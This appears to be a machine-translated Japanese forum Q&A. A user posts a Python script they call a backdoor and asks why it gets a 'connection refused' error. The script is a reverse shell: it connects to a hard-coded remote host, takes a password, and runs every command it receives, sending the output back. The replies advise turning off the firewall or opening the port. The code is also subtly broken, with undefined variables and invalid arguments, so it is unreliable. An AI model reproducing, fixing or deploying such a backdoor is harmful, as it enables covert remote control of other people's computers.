2017-05-22 14 views
0

私は完全なバックドアを作ったと思っていましたが、cmdからコードを実行するとエラーがポップアップしていました。Pythonバックドア - ソケットエラー

ここでは、コードです:

import socket 
import subprocess 

# Customizable variables 
HOST = '10.0.0.138' # IP for remote connection 
PORT = 12397 # Port for remote connection 
PASS = 'Test' # Password to make sure it is secure 

# Had To Make Some Changes 
STR = 'Welcome' 
ConnectMsg = bytes(STR.encode()) 

# Do not tuoch this 
s = socket.socket() 

# Conecting to atack computer 
s.connect((HOST, PORT)) 
s.send(ConnectMsg) 
s.send(HOST, PORT) 

# Login using your custom PassWord 
def Login(): 
    global s 

    s.send('login>>> ') 
    pwd = s.recv(1024) 

    if pwd != PASS: 
     Login() 
    else: 
     Loop() 


# The fun stuff 
def Loop(): 

    while 1: 
     data = s.recv(1024) 

     if deta == ':Quit': 
      break 

     proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     stdoutput = proc.stdout.read() + proc.stderr.read() 
     s.send(stdoutput) 
     s.send('>>> ') 

# Executing script 
Login() 

# Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD. 
# copyright @ [email protected] 

# I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT. 

エラー -

File "backdoor.py", line 18, in s.connect((HOST, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it

+0

おそらくあなたのファイアウォールは、電源を切ってみましたか? – RandomHash

+0

いいえ試してみてくださいありがとう:) – BleachMan210

答えて

0

これは、Pythonとは何の関係もありませんが、あなたのマシンがちょうどこの特定のポートへのアクセスのpythonをブロックすることを決定しました。あなたのファイアウォール(その問題を引き起こしていると仮定して)がそのポートにPythonを許可するようにしてください、それが動作するはずです。

関連する問題